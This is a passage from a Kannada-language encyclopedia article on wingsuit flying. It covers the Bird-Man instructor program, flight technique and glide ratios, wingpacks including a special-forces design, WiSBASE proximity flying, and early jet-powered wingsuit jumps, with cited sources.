ಲಿಮಿಟೆಡ್‌ ಎಂಬ ಸಂಸ್ಥೆಯನ್ನು ಕುವೊಸ್ಮ ಸ್ಥಾಪಿಸಿದ. ಪೆಕ್ನಿಕ್‌ನಿಂದ ವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟ ಬರ್ಡ್‌ಮನ್‌'ಸ್‌ ಕ್ಲಾಸಿಕ್‌ ಎಂಬ ದಿರಿಸು, ಜನಸಾಮಾನ್ಯರಿಗೆ ನೀಡಲಾದ ಮೊದಲ ರೆಕ್ಕೆದಿರಿಸಾಗಿತ್ತು. ಬರ್ಡ್‌ಮನ್‌ ಸಂಸ್ಥೆಯು ಒಂದು ಬೋಧಕ ಕಾರ್ಯಸೂಚಿಯನ್ನು ಸಿದ್ಧಪಡಿಸುವ ಮೂಲಕ ರೆಕ್ಕೆದಿರಿಸುಗಳ ಕ್ಷೇಮಕರ ಬಳಕೆಯನ್ನು ಸಮರ್ಥಿಸಿದ ಮೊದಲ ತಯಾರಕ ಎನಿಸಿಕೊಂಡಿತು. ಕುವೊಸ್ಮನಿಂದ ಸೃಷ್ಟಿಸಲ್ಪಟ್ಟ ಈ ಬೋಧಕ ಕಾರ್ಯಸೂಚಿಯು, ರೆಕ್ಕೆದಿರಿಸುಗಳು ಅಪಾಯಕಾರಿಯಾದಂಥವು ಎಂಬ ಅಪವಾದವನ್ನು ತೊಡೆದುಹಾಕುವ ಗುರಿಯನ್ನು ಹೊಂದಿತ್ತು. ಅಷ್ಟೇ ಅಲ್ಲ, ಆಕಾಶ-ನೆಗೆತದ ಪ್ರಪಂಚದಲ್ಲಿನ ಅತ್ಯಂತ ಅಪಾಯಕಾರಿ ಸಾಹಸಕಾರ್ಯ ಎಂಬುದಾಗಿ ಹಿಂದೊಮ್ಮೆ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದ್ದ ಸಾಹಸವನ್ನು ಸುರಕ್ಷಿತವಾಗಿ ಅನುಭವಿಸುವ ಒಂದು ಮಾರ್ಗವನ್ನು ರೆಕ್ಕೆದಿರಿಸು ಆರಂಭಿಕರಿಗೆ (ಸಾಮಾನ್ಯವಾಗಿ, ಕನಿಷ್ಟಪಕ್ಷ ೨೦೦ರಷ್ಟು ಜಿಗಿತಗಳನ್ನು ಕೈಗೊಂಡಿರುವ ಆಕಾಶ-ನೆಗೆತಗಾರರಿಗೆ) ಒದಗಿಸುವ ಗುರಿಯನ್ನೂ ಇದು ಹೊಂದಿತ್ತು. ಬರ್ಡ್‌ಮನ್‌ ಸಂಸ್ಥೆಯ ಬೋಧಕರಾದ ಸ್ಕಾಟ್‌ ಕ್ಯಾಂಪೋಸ್‌, ಚಕ್‌ ಬ್ಲೂ ಮತ್ತು ಕಿಮ್‌ ಗ್ರಿಫಿನ್‌ರವರ ನೆರವಿನೊಂದಿಗೆ, ಬೋಧನೆಯ ಒಂದು ಪ್ರಮಾಣಕವಾಗಿಸಲ್ಪಟ್ಟ ಕಾರ್ಯಸೂಚಿಯು ಅಭಿವೃದ್ಧಿಪಡಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು ಅದು ಬೋಧಕರನ್ನು ಸಜ್ಜುಗೊಳಿಸಿತು.<ref>{{cite web |url=http://bird-man.com/index.cgi?n=skydivers&q=bmilist |title=Bird-Man Worldwide Instructors list |accessdate=2008-01-28 |work= |archive-date=2007-12-18 |archive-url=https://web.archive.org/web/20071218225718/http://www.bird-man.com/index.cgi?n=skydivers&q=bmilist |url-status=dead }}</ref> ಫೀನಿಕ್ಸ್‌-ಫ್ಲೈ, ಫ್ಲೈ ಯುವರ್‌ ಬಾಡಿ, ಮತ್ತು ನೈಟ್ರೋ ರಿಗ್ಗಿಂಗ್‌ ಮೊದಲಾದವೂ ಸಹ ಬೋಧಕ ತರಬೇತಿ ಕಾರ್ಯಸೂಚಿಯೊಂದನ್ನು ಸ್ಥಾಪಿಸಿವೆ. ==ತಾಂತ್ರಿಕವಲ್ಲದ ರಚನಾ ವಿಧಾನ== ಒಂದು ರೆಕ್ಕೆದಿರಿಸು ಮತ್ತು ಧುಮುಕುಕೊಡೆ ಸಾಧನ ಈ ಎರಡನ್ನೂ ಧರಿಸಿಕೊಂಡು ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟಗಾರನು ಸ್ವತಂತ್ರ ಪತನದ ಸಾಹಸಕ್ಕೆ ಅಡಿಯಿಡುತ್ತಾನೆ. ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಧರಿಸಿಕೊಂಡ ವಿಮಾನವೊಂದರಿಂದ ಆಚೆಗೆ ನಿರ್ಗಮಿಸಬೇಕೆಂದರೆ ಅದಕ್ಕೆ ಪರಿಣತಿ ಪಡೆದ ಕೌಶಲಗಳು ಬೇಕಾಗುತ್ತವೆ ಮತ್ತು ಈ ಕೌಶಲಗಳು ಹಾರಾಟದ ತಾಣ ಮತ್ತು ವಿಮಾನದ ಬಾಗಿಲಿನ ಗಾತ್ರವನ್ನು ಅವಲಂಬಿಸಿ ಭಿನ್ನವಾಗಿರುತ್ತವೆ. ವಿಮಾನಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ನೆಲೆ-ನಿರ್ಣಯ ಅಥವಾ ಅಭಿಮುಖವಾಗಿಸುವಿಕೆ, ನಿರ್ಗಮಿಸುವ ಸಂದರ್ಭದಲ್ಲಿನ ಗಾಳಿಯ ಹರಿವು, ಮತ್ತು ಹಾರಾಟಗಾರನು ಸೂಕ್ತ ಸಮಯದಲ್ಲಿ ತನ್ನ ಕಾಲುಗಳು ಮತ್ತು ತೋಳುಗಳನ್ನು ಹರಡಿಕೊಳ್ಳುವ ವಿಧಾನ ಇವೆಲ್ಲವೂ ಸದರಿ ಕೌಶಲಗಳಲ್ಲಿ ಸೇರಿರುತ್ತವೆ; ಈ ಕೌಶಲಗಳನ್ನು ಸೂಕ್ತವಾಗಿ ಅನುಸರಿಸದಿದ್ದರೆ, ಹಾರಾಟಗಾರನು ವಿಮಾನಕ್ಕೆ ಬಡಿಯುವ ಅಥವಾ ಸಾಪೇಕ್ಷ ಬಿರುಗಾಳಿಯಲ್ಲಿ ಅಸ್ಥಿರನಾಗಿಹೋಗುವ ಸಾಧ್ಯತೆಗಳಿರುತ್ತವೆ. ವಿಮಾನದ ಮುಮ್ಮೊಗ ವೇಗದಿಂದ ಸೃಷ್ಟಿಸಲ್ಪಟ್ಟ ಸಾಪೇಕ್ಷ ಬಿರುಗಾಳಿಯಲ್ಲಿ ಹಾರಾಟಗಾರನು ವಿಮಾನದಿಂದ ನಿರ್ಗಮಿಸುತ್ತಿದ್ದಂತೆ ರೆಕ್ಕೆದಿರಿಸು ತತ್‌ಕ್ಷಣವೇ ಹಾರಲು ಪ್ರಾರಂಭಿಸುತ್ತದೆ. ಒಂದು ಬಂಡೆಯಂಥ BASE ಜಿಗಿತದ ತಾಣವೊಂದರಿಂದ ಕೈಗೊಳ್ಳುವ ನಿರ್ಗಮನವು, ಅಥವಾ ಒಂದು ಹೆಲಿಕಾಪ್ಟರ್‌, ಒಂದು ಪ್ಯಾರಾಗ್ಲೈಡ್‌ ಅಥವಾ ಒಂದು ಬಿಸಿ ಗಾಳಿಯ ಆಕಾಶಬುಟ್ಟಿಯಿಂದ ಕೈಗೊಳ್ಳುವ ನಿರ್ಗಮನವು ಒಂದು ಚಲಿಸುತ್ತಿರುವ ವಿಮಾನದಿಂದ ಕೈಗೊಳ್ಳುವ ನಿರ್ಗಮನಕ್ಕಿಂತ ಮೂಲಭೂತವಾಗಿ ವಿಭಿನ್ನವಾಗಿರುತ್ತದೆ; ಏಕೆಂದರೆ ಈ ನಿದರ್ಶನಗಳಲ್ಲಿ ನಿರ್ಗಮನದ ನಂತರದ ಆರಂಭಿಕ ಬಿರುಗಾಳಿಯ ವೇಗವು ಕಂಡುಬರುವುದಿಲ್ಲ. ಈ ಸನ್ನಿವೇಶಗಳಲ್ಲಿ, ವೇಗಹೆಚ್ಚಿಸುವುದಕ್ಕಾಗಿ ಗುರುತ್ವ ಬಲಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಮಾಡಲಾಗುವ ಒಂದು ಲಂಬವಾಗಿರುವ ಇಳಿತವು ವಾಯುವೇಗವನ್ನು ಸೃಷ್ಟಿಸುವುದಕ್ಕೆ ಅಗತ್ಯವಾಗಿರುತ್ತದೆ ಮತ್ತು ಈ ವಾಯುವೇಗವನ್ನು ಮೇಲ್ಮುಖ ಒತ್ತಡವಾಗಿ ಸದರಿ ರೆಕ್ಕೆದಿರಿಸು ಆಗ ಪರಿವರ್ತಿಸಬಲ್ಲದಾಗಿರುತ್ತದೆ. ಓರ್ವ ಆಕಾಶ-ನೆಗೆತಗಾರ ಅಥವಾ BASE ಜಿಗಿತಗಾರನು ತನ್ನ ಧುಮುಕುಕೊಡೆಯನ್ನು ವಿಶಿಷ್ಟವಾಗಿ ಸಜ್ಜುಗೊಳಿಸುವಂಥ ನೆಲಕ್ಕೆ ಮೇಲ್ಮಟ್ಟದಲ್ಲಿರುವ ಒಂದು ಯೋಜಿತ ಉನ್ನತಿಯಲ್ಲಿ, ಓರ್ವ ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟಗಾರನು ತನ್ನ ಧುಮುಕುಕೊಡೆಯನ್ನು ಸಜ್ಜುಗೊಳಿಸುತ್ತಾನೆ. ವಿಶಿಷ್ಟವಾಗಿರುವ ಆಕಾಶ ನೆಗೆತದ ಅಥವಾ BASE ಜಿಗಿತದ ಕೌಶಲಗಳನ್ನು ಬಳಸಿಕೊಂಡು, ಬಯಸಿದ ಇಳಿಯುವಿಕೆಯ ತಾಣದಲ್ಲಿನ ಒಂದು ಬಯಸಿದ ಇಳಿದಾಣಕ್ಕೆ ಧುಮುಕುಕೊಡೆಯನ್ನು ಹಾರಿಸಲಾಗುತ್ತದೆ. ಬಯಸಿದ ಪ್ರಮಾಣದಲ್ಲಿ ಮೇಲ್ಮುಖ ಒತ್ತಡ ಮತ್ತು ಎಳೆತವನ್ನು ಸೃಷ್ಟಿಸುವ ಸಲುವಾಗಿ ಓರ್ವ ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟಗಾರನು ತನ್ನ ಶರೀರದ ಆಕಾರವನ್ನು ಕುಶಲತೆಯಿಂದ ನಿರ್ವಹಿಸುತ್ತಾನಾದರೂ, ಬಹುತೇಕ ರೆಕ್ಕೆದಿರಿಸುಗಳು ೨.೫ರಿಂದ ೧ರ ನಡುವಿನ ಒಂದು ಅನುಪಾತವನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಅಂದರೆ, ಪ್ರತಿ ಅಡಿಯಷ್ಟು ಇಳಿತದ ವೇಗಕ್ಕೆ ಎರಡೂವರೆ ಅಡಿಯಷ್ಟು ಮುಮ್ಮೊಗವಾಗಿ ಚಲಿಸುತ್ತಿರುವ ವೇಗವನ್ನು ಗಳಿಸಿದಂತಾಗುತ್ತದೆ. ಶರೀರದ ಆಕಾರದ ಕುಶಲ-ನಿರ್ವಹಣೆಯ ನೆರವಿನಿಂದ ಮತ್ತು ರೆಕ್ಕೆದಿರಿಸಿನ ವಿನ್ಯಾಸ ಲಕ್ಷಣಗಳನ್ನು ಆರಿಸುವ ಮೂಲಕ, ಓರ್ವ ಹಾರಾಟಗಾರನು ತನ್ನ ಮುಮ್ಮೊಗ ವೇಗ ಮತ್ತು ಪತನ ವೇಗ ಈ ಎರಡನ್ನೂ ಮಾರ್ಪಡಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಪಡೆಯುತ್ತಾನೆ. ಹಲವಾರು ಆಂಗಿಕ ಚಲನೆಗಳ ಮೂಲಕ ಚಾಲಕನು ಈ ಹಾರಾಟ ಲಕ್ಷಣಗಳನ್ನು ಕುಶಲತೆಯಿಂದ ನಿರ್ವಹಿಸುತ್ತಾನೆ. ಅಂದರೆ, ತನ್ನ ಮುಂಡದ ಆಕಾರವನ್ನು ಬದಲಾಯಿಸುವಿಕೆ, ಭುಜಗಳು, ಸೊಂಟದ ಭಾಗಗಳು, ಮತ್ತು ಮೊಣಕಾಲುಗಳ ಭಾಗಗಳಲ್ಲಿ ಕಮಾನಾಗಿಸುವಿಕೆ ಅಥವಾ ಬಗ್ಗಿಸುವಿಕೆಯನ್ನು ಆತ ಕೈಗೊಳ್ಳುವುದರಿಂದ ಇದು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಅಷ್ಟೇ ಅಲ್ಲ, ಸಾಪೇಕ್ಷ ಬಿರುಗಾಳಿಯಲ್ಲಿ ರೆಕ್ಕೆದಿರಿಸು ಹಾರುವುದಕ್ಕೆ ಕಾರಣವಾಗುವ ದಾಳಿಯ ಕೋನವನ್ನು ಬದಲಾಯಿಸುವ ಮೂಲಕ, ಮತ್ತು ದಿರಿಸಿನ ನೆಯ್ದ ಬಟ್ಟೆಯ ರೆಕ್ಕೆಗಳಿಗೆ ಪ್ರಯೋಗಿಸಲಾದ ಸೆಳೆತದ ಪ್ರಮಾಣದ ಮೂಲಕವೂ ಸಹ ಇದು ಕೈಗೂಡುತ್ತದೆ. ಒಂದು ಲಂಬವಾಗಿರುವ ಸ್ಥಿರಗೊಳಿಸುವ ಮೇಲ್ಮೈನ ಗೈರುಹಾಜರಿಯು ಅಡ್ಡಚಲನೆ ಅಕ್ಷದ ಸುತ್ತಲಿನ ಅಲ್ಪಮಟ್ಟದ ತೇವವಾಗುವಿಕೆಗೆ ಕಾರಣವಾಗುತ್ತದೆ; ಆದ್ದರಿಂದ ಕಳಪೆ ಹಾರಾಟ ಕೌಶಲವು ಒಂದು ಗಿರಕಿಗೆ ಕಾರಣವಾಗಬಹುದು ಮತ್ತು ಇದನ್ನು ನಿಲ್ಲಿಸುವುದಕ್ಕಾಗಿ ಆಕಾಶ-ನೆಗೆತಗಾರನು ಸಕ್ರಿಯ ಪ್ರಯತ್ನವನ್ನು ಮಾಡಬೇಕಾಗುತ್ತದೆ. ಸ್ವತಂತ್ರ ಪತನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಗಣಕಯಂತ್ರಗಳನ್ನು ಬಳಕೆ ಮಾಡುವುದರ ಮೂಲಕ ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟಗಾರರು ತಮ್ಮ ಗುರಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ತಮ್ಮ ಕಾರ್ಯಸಾಧನೆಯನ್ನು ಮಾಪನಮಾಡಲು ಸಾಧ್ಯವಿದೆ; ಹಾರಾಟಗಾರರು ಹಾರಾಟದಲ್ಲಿದ್ದ ಸಮಯದ ಪ್ರಮಾಣ, ತಮ್ಮ ಧುಮುಕುಕೊಡೆಯನ್ನು ಅವರು ಸಜ್ಜುಗೊಳಿಸಿದಾಗಿದ್ದ ಉನ್ನತಿ, ಮತ್ತು ಸ್ವತಂತ್ರ ಪತನದ ಘಟ್ಟಕ್ಕೆ ಅವರು ಪ್ರವೇಶಿಸಿದ ಹಂತದಲ್ಲಿನ ಉನ್ನತಿ ಈ ಎಲ್ಲಾ ಅಂಶಗಳನ್ನೂ ಈ ಗಣಕಯಂತ್ರಗಳು ಸೂಚಿಸುತ್ತವೆ. ಈ ದತ್ತಮಾಹಿತಿಯನ್ನು ಬಳಸಿಕೊಂಡು ಹಾಗೂ ಹಿಂದಿನ ಹಾರಾಟಗಗಳಿಗೆ ಹೋಲಿಸುವ ಮೂಲಕ ಪತನದ ಗತಿಯ ವೇಗವನ್ನು ಲೆಕ್ಕಹಾಕಬಹುದು. ದಿರಿಸಿನ ಹಾರಾಟ ಪಥವನ್ನು ದಾಖಲಿಸಲು ಮತ್ತು ನಕ್ಷೆ ತಯಾರಿಸಲು GPS ಗ್ರಾಹಿಗಳನ್ನು ಕೂಡಾ ಬಳಸಬಹುದು. ಇದನ್ನು ವಿಶ್ಲೇಷಿಸಿದಾಗ, ಹಾರಾಟದ ಅವಧಿಯಲ್ಲಿ ಹಾರಿಸಲ್ಪಟ್ಟ ಅಂತರದ ಪ್ರಮಾಣವನ್ನು ಅದು ಸೂಚಿಸಬಲ್ಲದು. ಹಿಂದಿನ ಹಾರಾಟಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ತಮ್ಮ ಕಾರ್ಯಸಾಧನೆ ಹಾಗೂ ಅದೇ ತಾಣದಿಂದ ನಡೆದ ಇತರ BASE ಜಿಗಿತಗಾರರ ಹಾರಾಟಗಳನ್ನು ನಿರ್ಣಯಿಸುವ ಸಲುವಾಗಿ, BASE ಜಿಗಿತಗಾರರು ನಿರ್ಗಮನ ತಾಣಗಳಲ್ಲಿನ ಹೆಗ್ಗುರುತುಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳಬಹುದು; ಇದರ ಜೊತೆಗೆ ಅವರ ಹಾರಾಟದ ವಿಡಿಯೋವನ್ನು ನೆಲದ ಮೇಲಿನ ಸಿಬ್ಬಂದಿಗಳು ದಾಖಲಿಸಿಕೊಂಡಿರುತ್ತಾರೆ ಎಂಬುದು ಗಮನಿಸಬೇಕಾದ ಸಂಗತಿ. ಹೊಟ್ಟೆಯಿಂದ ಭೂಮಿಗೆ ಅಭಿಮುಖವಾಗಿರುವ ಸ್ಥಿತಿಯಲ್ಲಿನ ಓರ್ವ ವಿಶಿಷ್ಟ ಆಕಾಶ-ನೆಗೆತಗಾರನ ಅಂತಿಮ ವೇಗದ ವ್ಯಾಪ್ತಿಯು ಗಂಟೆಗೆ ೧೧೦ರಿಂದ ೧೪೦ ಮೈಲಿಗಳವರೆಗೆ (ಗಂಟೆಗೆ ೧೮೦–೨೨೫ ಕಿ.ಮೀ.) ಇರುತ್ತದೆ. ಒಂದು ರೆಕ್ಕೆದಿರಿಸು ಈ ವೇಗಗಳನ್ನು ನಾಟಕೀಯವಾಗಿ ತಗ್ಗಿಸಬಲ್ಲದಾಗಿರುತ್ತದೆ. ಗಂಟೆಗೆ -೨೫&nbsp;ಮೈಲಿಗಳಷ್ಟಿರುವ (ಗಂಟೆಗೆ -೪೦&nbsp;ಕಿ.ಮೀ.) ಒಂದು ತತ್‌ಕ್ಷಣದ ವೇಗವು ದಾಖಲಿಸಲ್ಪಟ್ಟಿದೆ.<ref>{{cite web|url=http://www.phoenix-fly.com/userfiles/PF_Wingsuit%20flying%20and%20Basic%20Aerodynamics_1.pdf|title=Wingsuit Flying and Basic Aerodynamics 1|publisher=phoenix-fly.com|accessdate=2011-05-18|archive-date=2011-09-17|archive-url=https://web.archive.org/web/20110917055851/http://www.phoenix-fly.com/userfiles/PF_Wingsuit%20flying%20and%20Basic%20Aerodynamics_1.pdf|url-status=dead}}</ref> ಮೂರು-ರೆಕ್ಕೆಯ ರೆಕ್ಕೆದಿರಿಸು ಮೂರು ಪ್ರತ್ಯೇಕ ರ್ಯಾಮ್‌-ಗಾಳಿಯ ರೆಕ್ಕೆಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ ಮತ್ತು ಇವನ್ನು ತೋಳುಗಳ ಅಡಿಯಲ್ಲಿ ಹಾಗೂ ಕಾಲುಗಳ ನಡುವೆ ಲಗತ್ತಿಸಲಾಗಿರುತ್ತದೆ. ಏಕ-ರೆಕ್ಕೆಯ ರೆಕ್ಕೆದಿರಿಸಿನ ವಿನ್ಯಾಸದಲ್ಲಿ ಸಮಗ್ರ ದಿರಿಸನ್ನು ಒಂದು ದೊಡ್ಡ ರೆಕ್ಕೆಯೊಳಗೆ ಸಂಯೋಜಿಸಲಾಗಿರುತ್ತದೆ. ==ಮುಂದಿನ ಬೆಳವಣಿಗೆಗಳು== ===ರೆಕ್ಕೆಹೊರೆ=== [[File:Wingpack.jpeg|thumb|right|150px|ಒಂದು ಜೆಟ್‌-ಚಾಲಿತ ರೆಕ್ಕೆಹೊರೆ]] '''ರೆಕ್ಕೆಹೊರೆ''' ಎಂಬ ಮತ್ತೊಂದು ಬದಲಾವಣೆ ಅಥವಾ ವೈವಿಧ್ಯತೆಯ ಕುರಿತಾಗಿ ಅಧ್ಯಯನಗಳು ಗಮನಹರಿಸುತ್ತಿದ್ದು, ಇಂಗಾಲ ನೂಲಿನಲ್ಲಿ ಬಿಗಿದು-ಕಟ್ಟುವ ಒಂದು ಬಾಗದ ರೆಕ್ಕೆಯನ್ನು ಇದು ಒಳಗೊಂಡಿರುತ್ತದೆ.<ref>{{cite web|url=http://www.spelco.eu/edit/content/file/DV141089_en/Press%20Release_1_en.pdf/Get.aspx|title=A Modern-day Lilienthal: Alban Geissler constructs wings for people without nerves|publisher=SPELCO GbR|accessdate=2011-05-19}}</ref> ಇದು ಒಂದು ಹ್ಯಾಂಗ್‌-ಗ್ಲೈಡರ್‌ ಮತ್ತು ಒಂದು ರೆಕ್ಕೆದಿರಿಸಿನ ನಡುವಿನ ಒಂದು ಮಿಶ್ರಣವಾಗಿದೆ. ರೆಕ್ಕೆಹೊರೆಯು ೬ರಷ್ಟಿರುವ ಒಂದು ಜಾರಿಕೆಯ ಅನುಪಾತವನ್ನು ತಲುಪಬಲ್ಲದು ಮತ್ತು ಇದು ಆಮ್ಲಜನಕ ಬಾಟಲಿಗಳು ಹಾಗೂ ಇತರ ಸಾಮಗ್ರಿಗಳ ಸಾಗಣೆಗೆ ಅನುಮತಿಸುತ್ತದೆ.<ref>{{cite news|url=http://www.dailymail.co.uk/news/article-389357/Special-forces-use-strap-Batwings.html |title=Daily Mail |publisher=Daily Mail |date= 2006-06-07|accessdate=2010-05-18 | location=London}}</ref> ೨೦೦೩ರ ಜುಲೈ ೩೧ರಂದು, ಫೆಲಿಕ್ಸ್‌ ಬೌಮ್‌ಗಾರ್ಟ್‌ನರ್‌ ಎಂಬ ಓರ್ವ ಆಸ್ಟ್ರಿಯಾದವ ೨೯,೩೬೦ ಅಡಿ (೯ ಕಿ.ಮೀ.) ಎತ್ತರದಿಂದ ಜಿಗಿದು, ೧೪ ನಿಮಿಷಗಳಲ್ಲಿ ಇಂಗ್ಲಿಷ್‌ ಕಾಲುವೆಯನ್ನು ಯಶಸ್ವಿಯಾಗಿ ದಾಟಿದ ಮತ್ತು ಈ ನಿಟ್ಟಿನಲ್ಲಿ ಆತ ೩೫ ಕಿ.ಮೀ.ಗೂ ಹೆಚ್ಚಿನ (೨೧.೮ ಮೈಲಿ) ಅಂತರವನ್ನು ಕ್ರಮಿಸಿದ್ದ.<ref>{{cite web |url=http://www.atairaerospace.com/press/2003/11/birdman-flies-atair-parachutes-across.html |title=Birdman Flies Atair Parachutes Across English Channel |publisher=Atairaerospace.com |date=2003-11-21 |accessdate=2010-05-18 |archive-date=2011-07-07 |archive-url=https://web.archive.org/web/20110707181729/http://www.atairaerospace.com/press/2003/11/birdman-flies-atair-parachutes-across.html |url-status=dead }}</ref> ೨೦೦೬ರಲ್ಲಿ, ''ESG'' ಎಂಬ ಜರ್ಮನ್‌ ಉದ್ಯಮವು ''ಗ್ರೈಫಾನ್‌'' ಎಂಬ ರೆಕ್ಕೆಹೊರೆಯನ್ನು ಪರಿಚಯಿಸಿತು. ಇದು ವಿಶೇಷ ಪಡೆಗಳ ರಹಸ್ಯ ಹಠಾತ್‌ ದಾಳಿಗಳಿಗಾಗಿ ನಿಷ್ಕೃಷ್ಟವಾಗಿ ಉದ್ದೇಶಿಸಿ ತೆಗೆದಿಡಲಾಗಿದ್ದ ಒಂದು ರೆಕ್ಕೆಹೊರೆಯಾಗಿತ್ತು.<ref name="esgpress">{{cite news |url=http://www.esg.de/en/press/pressreleases/?tid=877 |publisher=ESG |title=Press release: ESG gives you wings – the parachute system for special operations |date=May 15, 2006 |access-date=June 8, 2011 |archive-date=April 27, 2010 |archive-url=https://web.archive.org/web/20100427181717/http://www.esg.de/en/press/pressreleases/?tid=877 |url-status=dead }}</ref> ===WISBASE=== ೨೦೦೩ರಿಂದೀಚೆಗೆ<ref>ಮ್ಯಾಟ್‌ ಗೆರ್ಡೆಸ್‌, ''ದಿ ಗ್ರೇಟ್‌ ಬುಕ್‌ ಆಫ್‌ BASE'' , ಬರ್ಡ್‌ಬ್ರೇನ್‌ ಪಬ್ಲಿಷಿಂಗ್‌, ೨೦೧೦, ಪುಟ ೨೧೬</ref> ಅನೇಕ BASE ಜಿಗಿತಗಾರರು ರೆಕ್ಕೆದಿರಿಸುಗಳ ಬಳಕೆಯನ್ನು ಶುರುಮಾಡಿದ್ದು, ಇದು '''WiSBASE''' ನ ಜನ್ಮಕ್ಕೆ ಕಾರಣವಾಗಿದೆ; ಕೆಲವೊಬ್ಬರು ಇದನ್ನು BASEನ ಭವಿಷ್ಯ ಎಂಬುದಾಗಿ ಮತ್ತು ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟದ ಅಭಿವೃದ್ಧಿಯ ಅತ್ಯುತ್ತಮ ಕ್ರಮ ಎಂಬುದಾಗಿ ಪರಿಗಣಿಸಿದ್ದಾರೆ. ''ಸಾಮೀಪ್ಯ ಹಾರಾಟ'' (ಪ್ರಾಕ್ಸಿಮಿಟಿ ಫ್ಲೈಯಿಂಗ್) ಎಂಬುದು ಅಪಾಯಕರವಾದ ಮತ್ತು ನಯನ ಮನೋಹರವಾದ ಒಂದು ಕೌಶಲವಾಗಿದ್ದು, ಇದು ಪರ್ವತಗಳ ಮುಖಗಳು ಮತ್ತು ಅಂಚುಗಳಿಗೆ ಅತ್ಯಂತ ನಿಕಟವಾಗಿ ಮಾಡುವ ಹಾರಾಟವಾಗಿದೆ. ಯುರೋಪ್‌ನಲ್ಲಿ WiSBASE ಅಭ್ಯಾಸವು ವರದಿಯಾಗಿರುವ ಮುಖ್ಯ ಸ್ಥಳಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: [[ನಾರ್ವೇ|ನಾರ್ವೆ]]ಯಲ್ಲಿನ ಜೆರಾಗ್‌ ಮತ್ತು ಟ್ರಾಲ್‌ಸ್ಟಿಗೆನ್‌, [[ಸ್ವಿಟ್ಜರ್ಲ್ಯಾಂಡ್|ಸ್ವಿಜರ್ಲೆಂಡ್‌‌‌]]ನಲ್ಲಿನ ಲೌಟರ್‌ಬ್ರೂನೆನ್‌, ಮತ್ತು ಡ್ರೋ ಸಮೀಪದಲ್ಲಿ ಇಳಿದಾಣದ ಮೈದಾನವನ್ನು ಹೊಂದಿರುವ [[ಇಟಲಿ]]ಯಲ್ಲಿನ ಮಾಂಟೆ ಬ್ರೆಂಟೊ. ಡೀನ್‌ ಪಾಟರ್‌<ref>[http://adventure.nationalgeographic.com/2009/12/best-of-adventure/dean-potter ಡೀನ್‌ ಪಾಟರ್ಸ್‌ ರೆಕಾರ್ಡ್‌ ಬ್ರೇಕಿಂಗ್‌ ಫ್ಲೈಟ್‌ ಫ್ರಂ ದಿ ಐಗರ್‌‌],</ref> ಎಂಬಾತ ೨೦೦೯ರ ಆಗಸ್ಟ್‌‌ನಲ್ಲಿ ಕೈಗೊಂಡ ೫.೮ ಕಿ.ಮೀ. (೩.೬ ಮೈಲಿ) ಜಿಗಿತವು ಅತಿ ಉದ್ದದ ಪ್ರಮಾಣೀಕೃತ WiSBASE ಜಿಗಿತವೆನಿಸಿಕೊಂಡಿದೆ. ಐಗರ್‌‌‌ನಿಂದ ಜಿಗಿದ ಪಾಟರ್‌, ಹಾರಾಟದಲ್ಲಿಯೇ ೨ ನಿಮಿಷಗಳು ಮತ್ತು ೫೦ ಸೆಕೆಂಡುಗಳನ್ನು ಕಳೆದಿದ್ದ ಮತ್ತು ಈ ನಿಟ್ಟಿನಲ್ಲಿ ಅವನು ೭,೯೦೦ ಅಡಿಯಷ್ಟು (೨.೪ ಕಿ.ಮೀ.) ಉನ್ನತಿಯನ್ನು ಕ್ರಮಿಸಿದ್ದ. ===ಜೆಟ್‌-ಚಾಲಿತ ರೆಕ್ಕೆದಿರಿಸುಗಳು=== ಅತ್ಯಂತ ಪ್ರಾಯೋಗಿಕ ಹಂತದಲ್ಲಿಯೇ ಇರುವ ಶಕ್ತಿ ಒದಗಿಸಲ್ಪಟ್ಟ ರೆಕ್ಕೆದಿರಿಸುಗಳು, ಪಾದಗಳಿಗೆ<ref name="dropzone1">{{cite web|url=http://www.dropzone.com/cgi-bin/safety/detail_page.cgi?ID=613 |title=First jet powered Birdman flight |publisher=Dropzone.com |date= |accessdate=2010-05-18}}</ref> ಅಥವಾ ಒಂದು ರೆಕ್ಕೆಹೊರೆ ಸಜ್ಜಿಕೆಗೆ ಬಿಗಿಯಲಾದ ಸಣ್ಣ ಜೆಟ್ ಎಂಜಿನ್‌ಗಳನ್ನು ಅನೇಕವೇಳೆ ಬಳಸಿಕೊಳ್ಳುತ್ತವೆ, ಮತ್ತು ಇನ್ನೂ ಮಹತ್ತರವಾದ ಸಮತಲವಾದ ಪರ್ಯಟನೆ ಮತ್ತು ಏರುವಿಕೆಗೆ ಅವಕಾಶ ನೀಡುತ್ತವೆ. ೨೦೦೫ರ ಅಕ್ಟೋಬರ್‌ ೨೫ರಂದು, ವೀಸಾ ಪರ್ವಿಯಾನೆನ್‌ ಎಂಬಾತ [[ಫಿನ್‍ಲ್ಯಾಂಡ್|ಫಿನ್ಲೆಂಡ್‌‌‌]]ನಲ್ಲಿನ ಲಾಹ್ಟಿ ಎಂಬಲ್ಲಿ, ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಧರಿಸಿಕೊಂಡು ಬಿಸಿ ಗಾಳಿಯ ಆಕಾಶಬುಟ್ಟಿಯೊಂದರಿಂದ ಜಿಗಿದ. ಈ ಸಂದರ್ಭದಲ್ಲಿ ಅವನ ಪಾದಗಳಿಗೆ ಎರಡು ಸಣ್ಣ ಟರ್ಬೋಜೆಟ್ ಜೆಟ್ ಎಂಜಿನ್‌ಗಳನ್ನು ಜೋಡಿಸಲಾಗಿತ್ತು. 